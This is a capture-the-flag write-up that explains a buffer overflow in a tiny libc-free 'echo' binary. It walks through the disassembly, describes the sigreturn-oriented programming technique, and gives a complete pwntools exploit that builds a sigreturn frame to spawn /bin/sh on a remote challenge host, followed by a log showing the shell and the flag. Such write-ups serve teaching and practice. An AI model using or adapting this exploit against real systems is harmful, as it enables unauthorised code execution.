Echo
Recon
Let’s see what checksec has to say about this challenge:
$ checksec --file=./echo
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 8) Symbols No 0 0 ./echo
It looks like there’s not a whole lot of mitigations enabled in this binary. After firing up cutter and analyzing the binary we find that it’s not even linked against libc. After taking a look at the code we find that it’s pretty short as well:
;-- echo:
0x00401000 push rbp ; [01] -r-x section size 78 named .text
0x00401001 mov rbp, rsp
0x00401004 sub rsp, 0x300
; uint64_t read = read(0, rsp + 0x180, 0x300)
0x0040100b mov eax, 0
0x00401010 mov edi, 0
0x00401015 lea rsi, [rsp + 0x180]
0x0040101d mov edx, 0x300 ; 768
0x00401022 syscall
; write(1, rsp + 0x180, read)
0x00401024 mov rdx, rax
0x00401027 mov eax, 1
0x0040102c mov edi, 1
0x00401031 syscall
; return
0x00401033 leave
0x00401034 ret
; "/bin/sh" (this is not code, it's just a string
; in the middle of the .text section)
0x00401035 invalid
0x00401036 invalid
0x00401037 imul ebp, dword [rsi + 0x2f], 0xe8006873
;-- _start:
;-- rip:
17: entry0 ();
; echo()
0x0040103d call echo
; exit(0)
0x00401042 mov eax, 0x3c ; '<' ; 60
0x00401047 mov edi, 0
0x0040104c syscall
; comments added for clarity
The functionality looks pretty clear, this program reads 0x300 characters from stdin, and writes them to stdout. That gets done inside a function called echo, afterwards exit(0) is executed. As a bonus, we get the string "/bin/sh" for free, since it’s hardcoded at address 0x401035 (PIE not being enabled means that that string will always be located at that address, the same goes for any other address within the binary as well).
Now let’s take a closer look at where our input will be stored: looking at the code at 0x401000 through 0x401022 we can notice that 0x300 bytes are reserved in the stack (that’s exactly the amount of bytes that will be read into the buffer). This means that rsp points to a buffer of size 0x300, but read will read 0x300 bytes into rsp + 0x180. In short, we’ve got a buffer overflow here. This means that we can overwrite the rip stored in the stack and ‘return’ to whatever address we want. This all looks pretty nice, except for a small detail: it looks like we’ve got nowhere to jump to. There are no pop gadgets, no csu, nothing.
Exploitation
We’ve identified the vulnerability at play here, but it’s not immediately obvious how we would go about making use of it. Ideally we’d like to invoke execve(0x401035, 0, 0) (given that the string "/bin/sh" is conveniently placed at that address), but we’ve got no way of controlling rdi, rsi or rdx.
We do, however, have a way of controlling rax. Once a call to read or write is made, the amount of read/written bytes is returned in rax. If when echo asks for input, we feed it N bytes, those bytes will be read, then printed, and as a result rax will be equal to N when the function returns. This means we can choose what syscall we want to invoke, but not it’s arguments.
sigreturn, a useful ally
A very interesting syscall is sigreturn, which will just ‘undo’ everything done by the kernel when a signal needs to be handled in a Linux process.
If you’re unfamiliar with Linux signals, you can check out the man page on signals. Pretty quickly, they’re a form of IPC (inter-process communication) in which a program sets up a ‘signal handler’ which will be invoked every time a given signal is received (they can be sent by other programs, or by the kernel itself). Once the signal handler is done doing it’s thing, the entire state of the program needs to be restored from the stack. This is exactly where sigreturn kicks in.
I highly recommend that you check out sigreturn’s man page, but the gist of it is that the entire state of the processor will be restored from the user-space stack. The layout of the stack when calling sigreturn should look like this:
![]()
Image taken from Wikipedia’s article on SigReturn Oriented Programming (SROP)
Keep in mind that in the diagram above, the bottom of the image represents the least significant memory address (that means elements will be ‘popped’ starting from the bottom).
Now, if we fill the stack with a frame like this and then call sigreturn, we could set the value of rax, rdi, rsi, rdx and rip to 0x3b (the syscall number for execve), 0x401035 (the address for "/bin/sh"), 0x0, 0x0 and 0x40104c (the address for a syscall instruction), respectively. Something important to bear in mind, is that this is a lot of data, and is only possible because the buffer overflow is big enough.
Putting it all together
Time for a quick recap of the plan:
- Feed the program a malicious sigreturn-frame and start a ROP chain.
- Execute
write(1, [whatever], 0xf)so thatraxgets set to0xf. - Jump to a
syscallinstruction (raxis equall to0xfso it will trigger a call tosigreturn). - Our frame will be read from the stack and we’ve got ourselves a shell!
Constructing the frame can be annoying though, luckily pwntools provides us with a function for that.
Here’s the actual exploit:
from pwn import *
context.update(os='linux', arch='amd64')
p = remote('185.172.165.118', 9090)
# Prepare a sigret frame with the desired values
frame = SigreturnFrame(kernel='amd64')
frame.rip = 0x40104c # rip -> syscall
frame.rdi = 0x401035 # rdi -> "/bin/sh"
frame.rsi = 0x0 # rsi -> NULL
frame.rdx = 0x0 # rdx -> NULL
frame.rax = 0x3b # rax -> execve
payload = b''
payload += b'A' * (0x300 - 0x180) # fill the buffer
payload += b'A' * 0x8 # overwrite rbp
payload += p64(0x401000) # rip -> echo (this will trigger the read and write that
# we talked about earlier. Since we're jumping to the
# first instruction in the function, it will create it's
# own stack frame and then destroy it, so it doesn't affect
# the rest of the exploit)
payload += p64(0x40104c) # echo.ret -> syscall
payload += bytes(frame) # sigframe
# Check that our payload fits in the buffer
if len(payload) > 0x300:
p.error(f'Payload too large ({hex(len(payload))}B)')
# Send the malicious stack
p.send(payload)
p.recv(len(payload))
# echo will be waiting for a second read, let's send
# it 0xf bytes so that rax gets set to that value
p.send(0xf * b'A')
p.recv(0xf)
# Profit
p.interactive()
And here’s the exploit in action:
$ python3 exploit.py
[+] Opening connection to 185.172.165.118 on port 9090: Done
[*] Switching to interactive mode
$ ls
bin
dev
echo
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{a2e14ad30c012978fc870c1f529e8156}
$